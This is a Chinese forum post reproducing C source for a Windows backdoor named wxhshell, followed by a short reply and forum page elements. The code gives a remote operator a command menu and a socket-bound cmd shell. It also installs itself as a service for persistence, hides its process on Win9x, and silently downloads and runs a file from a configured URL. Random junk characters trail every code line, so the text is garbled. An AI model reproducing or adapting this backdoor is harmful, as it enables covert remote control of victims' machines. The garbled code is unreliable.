  } 6'F4p1VG*I  
  else { x)]_]_vX  
<FkoWN  
    switch(cmd[0]) { @nh* H{  
  OBCH%\;g  
  // 帮助 <n+]\a97*  
  case '?': { ]* #k|>Fl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S-5|t]LV  
    break; $ ]fautQlt  
  } GKk> ;X-  
  // 安装 96VJE,^h  
  case 'i': { ~!Ar`= [  
    if(Install()) L[j73z'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @) \{u$  
    else dj;Zzt3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'XbrO|%  
    break; $-=QTX  
    } u@@0YUa  
  // 卸载 G $F3dx.I  
  case 'r': { San=E@3}v!  
    if(Uninstall()) sC< B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }C'H@:/  
    else nt5x[xa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C.#\ Pz0  
    break; Li?_P5+a  
    } + Cf  
  // 显示 wxhshell 所在路径 lMQ_S"  
  case 'p': { <*Ex6/j  
    char svExeFile[MAX_PATH]; |e%o  
    strcpy(svExeFile,"\n\r"); l>kREfHq!{  
      strcat(svExeFile,ExeFile); hoDE*>i  
        send(wsh,svExeFile,strlen(svExeFile),0); 6-+q3#e  
    break; p`PBPlUn  
    } 6Hh\ys  
  // 重启 R.Uwf  
  case 'b': { 2~wIHtd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MjNq8'$"  
    if(Boot(REBOOT)) lQq&tz,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Eq\PSa=gz  
    else { .boBo$f  
    closesocket(wsh); 6^Q/D7U;s  
    ExitThread(0); rgK:ujzW!  
    } drM@6$k  
    break; 8M~^/Zc  
    } }~akVh`3  
  // 关机 -".q=$f  
  case 'd': { |Y9mre.Y;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Qm >x ?  
    if(Boot(SHUTDOWN)) =.Hq]l6+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c@&`!e  
    else { {!/ha$(  
    closesocket(wsh); J}{a&3@Hm  
    ExitThread(0);  45qSt2  
    } K.R4.{mo  
    break; nG~#o  
    } `a+"[%  
  // 获取shell 2BGS$$pP  
  case 's': { rZi\  
    CmdShell(wsh); rYP72<   
    closesocket(wsh); PL}c1Ud  
    ExitThread(0); W74Y.zQ  
    break; BB.^[:,dA  
  } WxrG o o^  
  // 退出 Y+kfMAv  
  case 'x': { m) -D rbE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JHvawFBN<u  
    CloseIt(wsh); A#@9|3  
    break; ^{m&2l&87  
    } oLh 2:c  
  // 离开 _[:>!ekx  
  case 'q': { )UoF*vC(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ib,BYFKEW  
    closesocket(wsh); fK?/o]vq  
    WSACleanup(); "B34+fOur  
    exit(1); d8p<f+  
    break; 6`JY:~V"  
        } Ob~7r*q  
  } bZKlQ<sI  
  } 6]D%|R,Q#}  
h@H8oZ[  
  // 提示信息 ih[!v"bv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p7{%0  
} ;iq58.  
  } {pR4+g  
~ 7^#.  
  return; xaw)iC[gI{  
} #=81`u  
]aDU*tk  
// shell模块句柄 5Kw$QJ/  
int CmdShell(SOCKET sock) NE1n9  
{ .G~Y`0  
STARTUPINFO si; _s%;GWj  
ZeroMemory(&si,sizeof(si)); [WXa]d5Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yOdh?:Imv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KccIYn~  
PROCESS_INFORMATION ProcessInfo; _ mJP=+i  
char cmdline[]="cmd"; wa f)S=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ":meys6t#  
  return 0; Gkr?M^@K  
} }9FAM@x1K&  
iS@+qWo1  
// 自身启动模式 m.g2>r`NU  
int StartFromService(void) z=[?&X]O9b  
{ 1<(('H  
typedef struct gT&s &0_7  
{ a^5.gfzA  
  DWORD ExitStatus; |~d8j'rt  
  DWORD PebBaseAddress; {n'+P3\T:  
  DWORD AffinityMask; IJQ" *;  
  DWORD BasePriority; CUI\:a-   
  ULONG UniqueProcessId; 8TH fFL  
  ULONG InheritedFromUniqueProcessId; a@ v}j&  
}   PROCESS_BASIC_INFORMATION; W3E7y?  
)xxpO$  
PROCNTQSIP NtQueryInformationProcess; B(t`$mC  
AC}[Q p!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N, SbJ Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M8y:FDX  
7ZR0cJw;  
  HANDLE             hProcess; P~^VLnw  
  PROCESS_BASIC_INFORMATION pbi; Iss)7I  
6!T9VL\=H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /YrBnccqD  
  if(NULL == hInst ) return 0; q?0&&"T}  
=&,<Co1hF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Zjq(]y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SF. Is=b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vP @\"  
3I.0jA#T&/  
  if (!NtQueryInformationProcess) return 0; Ucqn 3&  
!+H)N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WXmR{za   
  if(!hProcess) return 0; sogdM{tz\  
7 /7,55  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Pu0 <Clh  
EpUBO}q]  
  CloseHandle(hProcess);  &peUC n  
aUYq~E tj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IZSJ+KO  
if(hProcess==NULL) return 0; Tg yY 9  
S(ky:  
HMODULE hMod; {Lg]chJq?  
char procName[255]; u5O`|I@R  
unsigned long cbNeeded; 4Je[!X@C  
Qk[YF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ejh0Wfl  
u.rFZu?E\  
  CloseHandle(hProcess); (kmrWx= $  
_)XZ;Q  
if(strstr(procName,"services")) return 1; // 以服务启动 UNF@%O4_T  
4r tNvf5`  
  return 0; // 注册表启动 e.Gjp {  
} OSY.$$IO  
}MIg RQ9  
// 主模块 5MHc gzyp  
int StartWxhshell(LPSTR lpCmdLine) Xx?~%o6  
{ t b>At*tO  
  SOCKET wsl; F&u)wI'  
BOOL val=TRUE; 77H"=  
  int port=0; Y{I,ipU.  
  struct sockaddr_in door;  wzf  
bZlKy`Z  
  if(wscfg.ws_autoins) Install(); *nx$r[Mqj  
:y1,OR/k  
port=atoi(lpCmdLine); Px?zih!6  
KXT9Wt=  
if(port<=0) port=wscfg.ws_port; ((AIrE>Rr  
jT*?Z:U  
  WSADATA data; 0)]?@"j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cq"#[y$r  
/N7.|XI.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tLzb*U8'1w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~v6]6+   
  door.sin_family = AF_INET; srK9B0I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `5 Iaz  
  door.sin_port = htons(port); fk2p}  
ST1c`0e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gTb%c84  
closesocket(wsl); w Y=k$  
return 1; yrG=2{I  
} PVaqKCj:6W  
6PT"9vR`)  
  if(listen(wsl,2) == INVALID_SOCKET) { Pos(`ys;  
closesocket(wsl); PW+B&7{  
return 1; ~oz??SX  
} ihd^P]  
  Wxhshell(wsl); `+!F#.  
  WSACleanup(); >';UF;\5]Q  
rGlnu.mK^  
return 0; .oqe0$I  
.'bhRQY  
} F^CR$L& K  
@a (-U.CZ  
// 以NT服务方式启动  {gb` %J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8'M:uI  
{ RMHJI6?LB  
DWORD   status = 0; 5Z`f .}^w  
  DWORD   specificError = 0xfffffff; l4ru0V8s7  
rE%H NPO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Nxr\Yey  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z) x.6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oSLm?Lu  
  serviceStatus.dwWin32ExitCode     = 0; vZ1?4hG  
  serviceStatus.dwServiceSpecificExitCode = 0; ` <u2 N  
  serviceStatus.dwCheckPoint       = 0; M9Xq0BBu  
  serviceStatus.dwWaitHint       = 0; fR]KXfZ  
t==\D?Rt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); > D%  
  if (hServiceStatusHandle==0) return; B+z>$6  
w+$~ ds  
status = GetLastError(); C{~O!^2G  
  if (status!=NO_ERROR) \ 027>~u {  
{ og&-P=4O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z1_F)5pn  
    serviceStatus.dwCheckPoint       = 0; beB3*o  
    serviceStatus.dwWaitHint       = 0; $HCgawQ  
    serviceStatus.dwWin32ExitCode     = status; :!JQ<kV  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6!SW]#sD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l{*Ko~g  
    return; _9'hmej  
  } W#2} EX  
nl~ Z,Y$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &Q*  7  
  serviceStatus.dwCheckPoint       = 0; 5fRrd;  
  serviceStatus.dwWaitHint       = 0; ^SK!? M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bd H+M?k  
} 7A h   
L1f=90  
// 处理NT服务事件,比如:启动、停止 - ,?LS w  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  DTa!vg  
{ iNc!z A4  
switch(fdwControl) (\o4 c0UzK  
{ ;y-:)7J  
case SERVICE_CONTROL_STOP: C DoD9Hq,  
  serviceStatus.dwWin32ExitCode = 0; 0f@9y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qOIVuzi*  
  serviceStatus.dwCheckPoint   = 0; /pV N1Yt  
  serviceStatus.dwWaitHint     = 0; efE=5%O  
  { ;WAa4r>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (UCCEQq5  
  } "$D'gS oYe  
  return; jo3(\Bq  
case SERVICE_CONTROL_PAUSE: c,O;B_}M]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9dm<(I}  
  break; ?1zGs2Qs  
case SERVICE_CONTROL_CONTINUE: 'oH3|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R.DUfU"gp  
  break; kKjcW` [  
case SERVICE_CONTROL_INTERROGATE: g*`xEb= '  
  break; G:y+yE4  
}; Ke=+D'=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K|OPtYeb  
} o';/$xrH  
k"C'8<T)'  
// 标准应用程序主函数 ALcPbr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~<~ ~C#R  
{ bwcr/J( Nb  
{jH'W)nR  
// 获取操作系统版本 H?!DcUg CC  
OsIsNt=GetOsVer(); J#ClQ%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +95v=[t#Ut  
:Ocw+X3  
  // 从命令行安装 k<M Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); F_m' 9KX4E  
WUo\jm[yr  
  // 下载执行文件 T ,jb%uPcE  
if(wscfg.ws_downexe) { U]w"T{;@.)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X/90S2=P  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8UXRM :Z"  
} biBMd(6  
rGXUV`5Na  
if(!OsIsNt) { zx,9x*g  
// 如果时win9x,隐藏进程并且设置为注册表启动 mF|KjX~s  
HideProc(); ^6R(K'E}  
StartWxhshell(lpCmdLine); UqyW8TCf?  
} %?aq1 =B  
else >iRkhA=Vg  
  if(StartFromService()) D6l. x]K  
  // 以服务方式启动 gzqp=I[%  
  StartServiceCtrlDispatcher(DispatchTable); ^Y+Lf]zz*  
else W3d+t ?28  
  // 普通方式启动 %''L7o.#a  
  StartWxhshell(lpCmdLine); Mp>(cs  
3 u4Q!U%(D  
return 0; U%q6n"[ Cr  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五